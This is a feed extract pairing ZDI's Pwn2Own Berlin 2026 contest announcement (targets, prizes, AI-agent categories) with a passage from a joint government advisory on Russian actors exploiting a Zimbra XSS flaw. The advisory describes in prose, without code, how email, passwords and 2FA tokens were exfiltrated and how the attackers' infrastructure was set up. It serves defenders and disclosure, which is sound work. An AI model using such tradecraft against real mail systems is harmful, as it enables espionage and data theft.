<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
